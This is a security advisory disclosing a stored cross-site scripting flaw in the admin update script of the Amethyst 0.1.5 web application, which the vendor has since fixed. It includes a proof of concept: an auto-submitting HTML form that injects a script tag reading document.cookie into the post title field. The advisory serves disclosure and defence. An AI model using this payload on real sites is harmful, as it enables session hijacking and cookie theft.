40 lines
No EOL
2 KiB
HTML
40 lines
No EOL
2 KiB
HTML
Vulnerability ID: HTB22502
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Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_amethyst_2.html
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Product: Amethyst
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Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/amethyst )
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Vulnerable Version: 0.1.5 and Probably Prior Versions
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Vendor Notification: 22 July 2010
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Vulnerability Type: Stored XSS (Cross Site Scripting)
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Status: Fixed by Vendor
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Risk level: Medium
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Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
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Vulnerability Details:
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User can execute arbitrary JavaScript code within the vulnerable application.
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The vulnerability exists due to failure in the admin/update script to properly sanitize user-supplied input in "post[title]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
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An attacker can use browser to exploit this vulnerability. The following PoC is available:
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<form action="http://host/admin/update/2" method="post" name="main" >
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<input type="hidden" name="post[title]" value='title"><script>alert(document.cookie)</script>' />
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<input type="hidden" name="post[content]" value="this is my post" />
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<input type="hidden" name="post[created_at(1i)]" value="2010" />
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<input type="hidden" name="post[created_at(2i)]" value="7" />
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<input type="hidden" name="post[created_at(3i)]" value="15" />
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<input type="hidden" name="post[created_at(4i)]" value="20" />
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<input type="hidden" name="post[created_at(5i)]" value="39" />
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<input type="hidden" name="post[updated_at(1i)]" value="2010" />
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<input type="hidden" name="post[updated_at(2i)]" value="7" />
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<input type="hidden" name="post[updated_at(3i)]" value="15" />
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<input type="hidden" name="post[updated_at(4i)]" value="20" />
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<input type="hidden" name="post[updated_at(5i)]" value="39" />
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<input type="hidden" name="commit" value="Create" />
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</form>
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<script>
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document.main.submit();
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</script>
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Solution: Upgrade to the most recent version |